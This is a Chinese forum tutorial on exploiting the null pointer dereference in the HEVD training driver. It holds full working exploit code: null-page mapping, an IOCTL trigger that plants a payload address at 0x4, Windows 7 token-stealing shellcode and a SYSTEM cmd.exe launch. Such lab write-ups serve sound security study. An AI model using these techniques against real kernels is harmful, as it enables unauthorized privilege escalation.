内核漏洞学习-HEVD-NullPointerDereference

本文为看雪论坛优秀文章
看雪论坛作者ID:pyikaaaa
1
概述
环境准备:
2
前置知识
指针的三种错误使用:
1、由指针指向的一块动态内存,在利用完后,没有释放内存,导致内存泄露
2、野指针(悬浮指针)的使用,在指针指向的内存空间使用完释放后,指针指向的内存空间已经归还给了操作系统,此时的指针成为野指针,在没有对野指针做处理的情况下,有可能对该指针再次利用导致指针引用错误而程序崩溃。
3、Null Pointer空指针的引用,对于空指针的错误引用往往是由于在引用之前没有对空指针做判断,就直接使用空指针,还有可能把空指针作为一个对象来使用,间接使用对象中的属性或是方法,而引起程序崩溃,空指针的错误使用常见于系统、服务、软件漏洞方面。
p=NULL 后:p 不指向任何内存地址,通常指向000 0页地址,通过ntallocvirtualmemory 申请0页地址空间。在0页地址写代码。调用null指针,执行shellcode。
3
漏洞点分析
NTSTATUSTriggerNullPointerDereference(_In_ PVOID UserBuffer){ULONG UserValue = 0;ULONG MagicValue = 0xBAD0B0B0;NTSTATUS Status = STATUS_SUCCESS;PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;PAGED_CODE();__try{//// Verify if the buffer resides in user mode//ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));//// Allocate Pool chunk//NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(NonPagedPool,sizeof(NULL_POINTER_DEREFERENCE),(ULONG)POOL_TAG);if (!NullPointerDereference){//// Unable to allocate Pool chunk//DbgPrint("[-] Unable to allocate Pool chunk\n");Status = STATUS_NO_MEMORY;return Status;}else{DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);}//// Get the value from user mode//UserValue = *(PULONG)UserBuffer;DbgPrint("[+] UserValue: 0x%p\n", UserValue);DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);//// Validate the magic value//if (UserValue == MagicValue){NullPointerDereference->Value = UserValue;NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);}else{DbgPrint("[+] Freeing NullPointerDereference Object\n");DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);//// Free the allocated Pool chunk//ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);//// Set to NULL to avoid dangling pointer//NullPointerDereference = NULL;}#ifdef SECURE//// Secure Note: This is secure because the developer is checking if// 'NullPointerDereference' is not NULL before calling the callback function//if (NullPointerDereference){NullPointerDereference->Callback();}#elseDbgPrint("[+] Triggering Null Pointer Dereference\n");//// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability// because the developer is not validating if 'NullPointerDereference' is NULL// before calling the callback function//NullPointerDereference->Callback();#endif}__except (EXCEPTION_EXECUTE_HANDLER){Status = GetExceptionCode();DbgPrint("[-] Exception Code: 0x%X\n", Status);}return Status;}
4
漏洞利用
HEVD_IOCTL_NULL_POINTER_DEREFERENCE控制码对应的派遣函数NullPointerDereferenceIoctlHandler case。
HEVD_IOCTL_NULL_POINTER_DEREFERENCE:DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp);DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");break;
NTSTATUSNullPointerDereferenceIoctlHandler(_In_ PIRP Irp,_In_ PIO_STACK_LOCATION IrpSp){PVOID UserBuffer = NULL;NTSTATUS Status = STATUS_UNSUCCESSFUL;UNREFERENCED_PARAMETER(Irp);PAGED_CODE();UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;if (UserBuffer){Status = TriggerNullPointerDereference(UserBuffer);}return Status;}
#include<stdio.h>#include<Windows.h>HANDLE hDevice = NULL;#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)int main(){hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL){printf("[-]failed to get device handle !");return FALSE;}printf("[+]success to get device handle");if (hDevice) {DWORD bReturn = 0;char buf[4] = { 0 };*(PDWORD32)(buf) = 0x12345678;DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &bReturn, NULL);}}


BOOL MapNullPage() {HMODULE hNtdll;SIZE_T RegionSize = 0x1000; // will be rounded up to the next host// page size address boundary -> 0x2000PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host// page size address boundary -> 0x00000000NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;hNtdll = GetModuleHandle("ntdll.dll");// Grab the address of NtAllocateVirtualMemoryNtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");if (!NtAllocateVirtualMemory) {DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());exit(EXIT_FAILURE);}// Allocate the Virtual memoryNtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,&BaseAddress,0,&RegionSize,MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);if (NtStatus != STATUS_SUCCESS) {DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus);exit(EXIT_FAILURE);}else {DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress);DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize);}FreeLibrary(hNtdll);return TRUE;
ULONG MagicValue = 0xBAADF00D;PVOID EopPayload = &TokenStealingPayloadWin7Generic;__try {// Get the device handleDEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);hFile = GetDeviceHandle(FileName);if (hFile == INVALID_HANDLE_VALUE) {DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());exit(EXIT_FAILURE);}else {DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);}DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");DEBUG_INFO("\t\t[+] Mapping Null Page\n");if (!MapNullPage()) {DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());exit(EXIT_FAILURE);}DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout\n");NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4);// Now set the function pointer*(PULONG)NullPointerPlus4 = (ULONG)EopPayload;DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)NullPointerPlus4);DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", NullPointerPlus4);DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference\n");OutputDebugString("****************Kernel Mode****************\n");DeviceIoControl(hFile,HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,(LPVOID)&MagicValue,0,NULL,0,&BytesReturned,NULL);OutputDebugString("****************Kernel Mode****************\n");}__except (EXCEPTION_EXECUTE_HANDLER) {DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());exit(EXIT_FAILURE);}return EXIT_SUCCESS;}
#include<stdio.h>#include<Windows.h>#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory1)(IN HANDLE ProcessHandle,IN OUT PVOID* BaseAddress,IN ULONG ZeroBits,IN OUT PULONG RegionSize,IN ULONG AllocationType,IN ULONG Protect);NtAllocateVirtualMemory1 NtAllocateVirtualMemory = NULL;HANDLE hDevice = NULL;static VOID payload(){_asm{//.....}}int main(){//获得device handlehDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);printf("[+]Start to get handle \n");if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL){printf("[+]Failed to get HANDLE!!!\n");system("pause");return 0;}printf("[+]Success to get handle\n");DWORD aReturn = 0;char buf[4] = { 0 };*(PDWORD32)(buf) = 0x123456789;//触发漏洞//申请0页内存(FARPROC*)NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),"NtAllocateVirtualMemory");if (NtAllocateVirtualMemory == NULL){printf("[-]Failed to get NtAllocateVirtualMemory address \n");system("pause");return 0;}elseprintf("[+]success to get NtAllocateVirtualMemory address \n");PVOID basedaress = (PVOID)1;SIZE_T allockSize = 0x1000;NTSTATUS status= NtAllocateVirtualMemory(INVALID_HANDLE_VALUE,&basedaress,0,&allockSize,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);if(status<0){printf("[-]NtAllocateVirtualMemory write failed\n");system("pause");return 0;}printf("[+]NtAllocateVirtualMemory write success \n");*(DWORD*)(0x4) = (DWORD)&payload;//调用TriggerNullPointerDereference函数DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &aReturn, NULL);//提权启动cmdprintf("[+]Start to Create cmd...\n");STARTUPINFO si = { sizeof(si) };PROCESS_INFORMATION pi = { 0 };si.dwFlags = STARTF_USESHOWWINDOW;si.wShowWindow = SW_SHOW;WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);system("pause");return 0;}
_KPCR+0x120 PrcbData : _KPRCB_KPRCB+0x004 CurrentThread : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体_KTHREAD+0x040 ApcState : _KAPC_STATE_KAPC_STATE+0x010 Process : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体_EPROCESS+0x0b4 UniqueProcessId : Ptr32 Void,当前进程ID,系统进程ID=0x04+0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程+0x0f8 Token : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限
__asm {pushad ; Save registers state; Start of Token Stealing Stubxor eax, eax ; Set ZEROmov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread; _KTHREAD is located at FS:[0x124]mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Processmov ecx, eax ; Copy current process _EPROCESS structuremov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4SearchSystemPID:mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flinksub eax, FLINK_OFFSETcmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessIdjne SearchSystemPIDmov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Tokenmov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token; with SYSTEM process nt!_EPROCESS.Token; End of Token Stealing Stubpopad ; Restore registers state}}

申请0页内存
将payload放入内存任意位置
并在0x4地址放入payload地址
调用TriggerNullPointerDereference函数
提权启动cmd

E N D

看雪ID:pyikaaaa
https://bbs.pediy.com/user-home-921642.htm

# 往期推荐


点击“阅读原文”了解更多
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注KnowSafe微信公众号随时掌握互联网精彩
- PakePlus基于 Rust Tauri 构建的轻量级开发工具
- 网络安全公司CEO被控在医院系统植入恶意软件
- 自增id和uuid的优劣 为什么要用自增ID
- 当程序员迎来 35 岁时
- 在Z|安全狗(北上广深厦等多地)诚招大客户经理、开发运维工程师、Java开发工程师
- 在Z|雾帜智能(高至30K/月)诚招安全运营产品经理、信息安全销售顾问、信息安全售前顾问、网络安全开发工程师
- 【附PPT下载】干货满满!平安SRC线上沙龙第二期圆满落幕!
- 2个维度5大方法,让你的微服务在K8s上跑起来
- 华为全联接2021丨深耕数字化,绿色能源进行时
- 延时!保新!2 年续期证书来啦~
- 用 Git 操作的数据库?这个项目火了!
- Python 中的面向对象没有意义
赞助链接



